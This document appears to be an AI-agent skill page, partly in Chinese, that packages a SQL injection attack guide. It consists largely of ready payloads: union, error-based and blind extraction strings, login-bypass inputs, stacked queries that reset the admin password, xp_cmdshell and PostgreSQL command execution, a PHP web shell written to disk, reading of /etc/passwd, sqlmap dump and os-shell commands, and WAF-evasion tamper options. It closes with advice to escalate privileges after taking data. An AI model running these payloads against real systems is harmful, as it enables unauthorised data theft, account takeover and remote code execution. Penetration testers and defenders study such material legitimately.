Back to skills
extension
Category: Development & EngineeringNo API key required

sqli

Detection and exploitation of SQL injection vulnerabilities. Used when the target has database queries, search functions, login forms, or URL parameters. Includes techniques such as UNION, error-based, and blind SQL injection.

personAuthor: jakexiaohubgithub

SQL 注入 (SQL Injection)

通过在用户输入中注入 SQL 代码,操纵数据库查询,实现数据泄露、认证绕过或命令执行。

常见指示器

  • URL 参数(id=, page=, search=, sort=, order=)
  • 搜索框、登录表单
  • Cookie 中的参数
  • HTTP 头(User-Agent, Referer, X-Forwarded-For)
  • JSON/XML 请求体中的参数
  • 数字型或字符串型参数

检测方法

1. 基础测试

# 单引号测试
curl "http://target.com/page?id=1'"

# 双引号测试
curl "http://target.com/page?id=1\""

# 注释测试
curl "http://target.com/page?id=1--"
curl "http://target.com/page?id=1#"

# 逻辑测试
curl "http://target.com/page?id=1 AND 1=1"
curl "http://target.com/page?id=1 AND 1=2"

2. 时间盲注测试

# MySQL
curl "http://target.com/page?id=1 AND SLEEP(5)"

# PostgreSQL
curl "http://target.com/page?id=1; SELECT pg_sleep(5)"

# MSSQL
curl "http://target.com/page?id=1; WAITFOR DELAY '0:0:5'"

攻击向量

UNION 注入

-- 确定列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- 确定显示位
' UNION SELECT 1,2,3--
' UNION SELECT 'a','b','c'--

-- 提取数据
' UNION SELECT username,password,3 FROM users--
' UNION SELECT table_name,column_name,3 FROM information_schema.columns--

-- MySQL 信息收集
' UNION SELECT @@version,user(),database()--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--

报错注入

-- MySQL
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

-- PostgreSQL
' AND 1=CAST((SELECT version()) AS INT)--

-- MSSQL
' AND 1=CONVERT(INT,(SELECT @@version))--

布尔盲注

-- 判断条件
' AND 1=1--  (正常)
' AND 1=2--  (异常)

-- 逐字符提取
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97--

-- 二分法
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96--

时间盲注

-- MySQL
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--

堆叠查询

-- MySQL (需要 mysqli_multi_query)
'; INSERT INTO users VALUES('hacker','password')--
'; UPDATE users SET password='hacked' WHERE username='admin'--

-- MSSQL
'; EXEC xp_cmdshell 'whoami'--
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--

-- PostgreSQL
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--

认证绕过

-- 登录绕过
admin'--
admin'#
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
' OR 1=1--
admin' OR '1'='1
' OR ''='
') OR ('1'='1
') OR ('1'='1'--

-- 密码字段绕过
' OR '1'='1
anything' OR '1'='1'--

sqlmap 使用

基础用法

# 自动检测
sqlmap -u "http://target.com/page?id=1" --batch

# 指定参数
sqlmap -u "http://target.com/page?id=1" -p id --batch

# POST 请求
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch

# Cookie 注入
sqlmap -u "http://target.com/page" --cookie="id=1" -p id --batch

数据提取

# 列出数据库
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# 列出表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables --batch

# 列出列
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns --batch

# 导出数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users -C username,password --dump --batch

高级选项

# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --batch

# 指定注入技术
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind
sqlmap -u "http://target.com/page?id=1" --technique=BEUST --batch

# 绕过 WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between --batch

# 提权
sqlmap -u "http://target.com/page?id=1" --os-shell --batch
sqlmap -u "http://target.com/page?id=1" --sql-shell --batch

绕过技术

空格绕过

-- 注释替代
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- Tab
SELECT%0ausername%0aFROM%0ausers  -- 换行

-- 括号
SELECT(username)FROM(users)

引号绕过

-- 十六进制
SELECT * FROM users WHERE username=0x61646d696e  -- 'admin'

-- CHAR 函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

关键字绕过

-- 大小写混合
SeLeCt, UnIoN, FrOm

-- 双写
SELSELECTECT, UNUNIONION

-- 编码
%53%45%4c%45%43%54  -- SELECT

-- 注释分割
SEL/**/ECT, UN/**/ION

WAF 绕过 Tamper 脚本

# 常用 tamper
--tamper=space2comment      # 空格转注释
--tamper=between            # 使用 BETWEEN 替代 >
--tamper=randomcase         # 随机大小写
--tamper=charencode         # URL 编码
--tamper=equaltolike        # = 转 LIKE
--tamper=space2plus         # 空格转 +
--tamper=space2randomblank  # 空格转随机空白字符

数据库特定语法

MySQL

-- 版本
SELECT @@version
SELECT version()

-- 当前用户
SELECT user()
SELECT current_user()

-- 当前数据库
SELECT database()

-- 所有数据库
SELECT schema_name FROM information_schema.schemata

-- 所有表
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- 所有列
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- 读文件
SELECT LOAD_FILE('/etc/passwd')

-- 写文件
SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'

PostgreSQL

-- 版本
SELECT version()

-- 当前用户
SELECT current_user

-- 当前数据库
SELECT current_database()

-- 所有数据库
SELECT datname FROM pg_database

-- 所有表
SELECT tablename FROM pg_tables WHERE schemaname='public'

-- 读文件
CREATE TABLE test(data text); COPY test FROM '/etc/passwd'; SELECT * FROM test;

-- 命令执行
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('id');

MSSQL

-- 版本
SELECT @@version

-- 当前用户
SELECT user_name()
SELECT system_user

-- 当前数据库
SELECT db_name()

-- 所有数据库
SELECT name FROM master..sysdatabases

-- 所有表
SELECT name FROM sysobjects WHERE xtype='U'

-- 命令执行
EXEC xp_cmdshell 'whoami'

最佳实践

  1. 先用单引号测试是否存在注入点
  2. 确定数据库类型(通过报错信息或特定函数)
  3. 确定注入类型(UNION、报错、盲注)
  4. 使用 sqlmap 自动化利用
  5. 如果 sqlmap 失败,手工构造 payload
  6. 注意 WAF 绕过,使用 tamper 脚本
  7. 提取敏感数据后尝试提权(os-shell)